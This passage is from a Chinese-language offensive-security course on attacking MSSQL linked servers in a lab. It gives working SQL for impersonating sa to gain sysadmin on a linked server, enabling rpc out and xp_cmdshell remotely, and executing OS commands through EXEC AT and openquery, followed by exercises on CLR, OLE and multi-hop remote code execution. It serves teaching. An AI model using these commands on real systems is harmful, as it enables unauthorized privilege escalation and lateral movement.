[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Qe1ocrLGhWlBSgjB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Qe1ocrLGhWlBSgjB-image.png)

我们可以看到，当前用户 prod\\sql\_service 在 Srv02 的 SQL 实例中对应的用户为 guest，自然是没有 sysadmin 权限的。SqlRecon 显示出了更具体的信息：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/FS39JNiyt1k0UY7E-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/FS39JNiyt1k0UY7E-image.png)

SQL Server 有一个叫做“登录映射”的概念，是指将当前 MSSQL 服务器的登录/用户名映射到另一个 MSSQL 服务器上的登录/用户名的过程。 当我们想要授予当前 MSSQL 服务器的用户对另一台 MSSQL 服务器实例上的资源的访问权限，而不需要在另一台 MSSQL 服务器上创建新的登录名时，这会很有用。 如果 Srv01 上的一登陆/用户被在 Srv02 上被映射为特权登陆/用户，例如 sa，那么我们就可以用于提权。因为 prod\\sql\_service 在 Srv01 上是 sysadmin，自然可以模范任何登陆，包括 sa。考虑到 Srv01 上的 sa 可能会在 Srv02 被映射为 sa，不妨尝试一下：

```sql
execute as login='sa';select * from openquery ("Srv02",'select system_user');
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/F6aJb5ezDwUGCZkC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/F6aJb5ezDwUGCZkC-image.png)

果然是这样映射的。在 MSSQL 服务器中，配置如下所见：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/LOwNPnGmshh3IOYJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/LOwNPnGmshh3IOYJ-image.png)

我们可以看到，当前的 sa 被映射到了远程 MSSQL 服务器的 sa，除了本地 sa 之外的登陆或用户，全部映射为 guest 用户。这与我们之前所见是相符的。

既然已经对 Srv02 有了 sysadmin 权限了，那我们需要进行代码执行以及横向移动。首先，我们需要开启 xp\_cmdshell 或其他执行命令的方法。

```sql
exec ('sp_configure ''show advanced options'', 1; reconfigure; exec sp_configure ''xp_cmdshell'', 1; reconfigure;') AT <链接服务器>
```

但是，我们得到了这样的报错：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/tX2NlTe7Cvwi3MHK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/tX2NlTe7Cvwi3MHK-image.png)

这是因为 **rpcout** 没有开启，我们需要手动开启：

```sql
exec sp_serveroption 'srv02','rpc out','true';
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/uY6awj5xKAFhQbws-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/uY6awj5xKAFhQbws-image.png)

这样，我们就成功地开启了 Srv02 的 xp\_cmdshell 了。想到我们之前通过 openquery 对链接服务器进行语句查询，我们很自然地想到将 **exec xp\_cmdshell '&lt;命令&gt;'** 与 **openquery** 相结合，但实际上这样不可行，因为使用 **openquery** 关键字不支持**执行存储过程**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/s5k1x5vLWAm3fFiS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/s5k1x5vLWAm3fFiS-image.png)

但我们可以通过以下命令，对链接 SQL 服务器进行命令执行并获得输出结果：

```sql
exec('xp_cmdshell ''<命令>'';') at <链接服务器>
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/tBp5c8gbOaTDgXWn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/tBp5c8gbOaTDgXWn-image.png)

实际上，非要使用 openquery 执行命令是可行的，但我们看不到输出结果，语句如下：

```sql
Select * From openquery("<链接服务器>", 'select @@servername; exec xp_cmdshell ''<命令>'' ')
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Vh3xMIYikceDaVqo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Vh3xMIYikceDaVqo-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/SOUvcWmpB8X8gGqR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/SOUvcWmpB8X8gGqR-image.png)

虽然看不到输出结果，但是新增的访问请求证明了命令被执行成功了。

#####   


##### **课堂拓展**

1：更新之前的对 .NET 应用一键执行任意 SQL 语句的脚本，修改为一键开启 xp\_cmdshell 并执行代码 (不要求有回显，但能实现是最好的)

2：使用 SqlRecon 进行 xp\_dirtree

3：使用 PowerUpSQL 执行 xp\_cmdshell 代码

4：尝试亲自编译 .NET DLL 并转换为 Hex 格式，实现 CLR RCE

5：从 Srv01 跨链接对 Srv02 进行远程代码执行，使用 OLE 自动化存储的方法。

6：从 Srv01 跨链接对 Srv02 进行远程代码执行，使用 CLR 的方法。

7：从 Srv01 跨越 2 层链接对 Web02 进行远程代码执行，使用任意 RCE 的方法